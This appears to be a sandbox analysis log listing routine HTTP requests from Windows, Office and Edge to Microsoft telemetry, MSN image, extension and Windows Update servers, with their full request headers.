Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731791378&P2=404&P3=2&P4=k0ofL88ddhjwUJMWuA%2b9firRTROfOldkbqdv00F5KymUO2VXEU8pMeXPKJOZAEilzoMhekatpu18j8SgQiXuYg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: x71Nr+iCAXaAVMfNpu9wEdSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SMDEwKPvk7yDlZb&MD=lu5PmH97 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
